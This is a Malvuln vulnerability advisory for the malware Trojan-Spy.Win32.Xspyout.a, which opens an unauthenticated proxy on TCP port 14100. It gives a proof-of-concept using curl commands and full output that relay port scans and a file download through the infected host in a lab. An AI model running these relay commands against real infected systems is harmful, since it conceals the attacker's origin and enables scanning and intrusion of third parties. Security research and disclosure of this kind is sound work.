Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/d1791ca15c5df6f8f5d007518efd65b6.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Spy.Win32.Xspyout.a
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 14100. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: d1791ca15c5df6f8f5d007518efd65b6
Vuln ID: MVID-2021-0268
Dropped files: lsass32.exe, lol.dll
Disclosure: 07/03/2021

Exploit/PoC:
Scan port 110)

curl -x http://192.168.18.129:14100  http://192.168.18.128:110 -v

 Rebuilt URL to: http://192.168.18.128:110/
   Trying 192.168.18.129...
 TCP_NODELAY set
 Connected to 192.168.18.129 (192.168.18.129) port 14100 (#0)
 GET http://192.168.18.128:110/ HTTP/1.1
 Host: 192.168.18.128:110
 User-Agent: curl/7.55.1
 Accept: */*
 Proxy-Connection: Keep-Alive

+OK INetSim POP3 Server ready <53841.1625100878@pop3host>
-ERR Unknown command.

Scan port 21)

curl -x http://192.168.18.129:14100  http://192.168.18.128:21 -v
Rebuilt URL to: http://192.168.18.128:21/
   Trying 192.168.18.129...
 TCP_NODELAY set
 Connected to 192.168.18.129 (192.168.18.129) port 14100 (#0)
 GET http://192.168.18.128:21/ HTTP/1.1
 Host: 192.168.18.128:21
 User-Agent: curl/7.55.1
 Accept: */*
 Proxy-Connection: Keep-Alive

220 INetSim FTP Service ready.
500 Unknown command.

Download filez)

curl -x http://192.168.18.129:14100  http://192.168.18.128/DOOM.exe -v --out DOOM.exe

   Trying 192.168.18.129...
 TCP_NODELAY set

 GET http://192.168.18.128/DOOM.exe HTTP/1.1
 Host: 192.168.18.128
 User-Agent: curl/7.55.1
 Accept: */*
 Proxy-Connection: Keep-Alive

 HTTP 1.0, assume close after body
 HTTP/1.0 200 OK
 Server: SimpleHTTP/0.6 Python/2.7.6
 Date: Thu, 01 Jul 2021 00:57:27 GMT
 Content-type: application/x-msdos-program
 Content-Length: 103533
 Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT

{ [65846 bytes data]
100  101k  100  101k    0     0   101k      0  0:00:01 --:--:--  0:00:01  648k
* Closing connection 0


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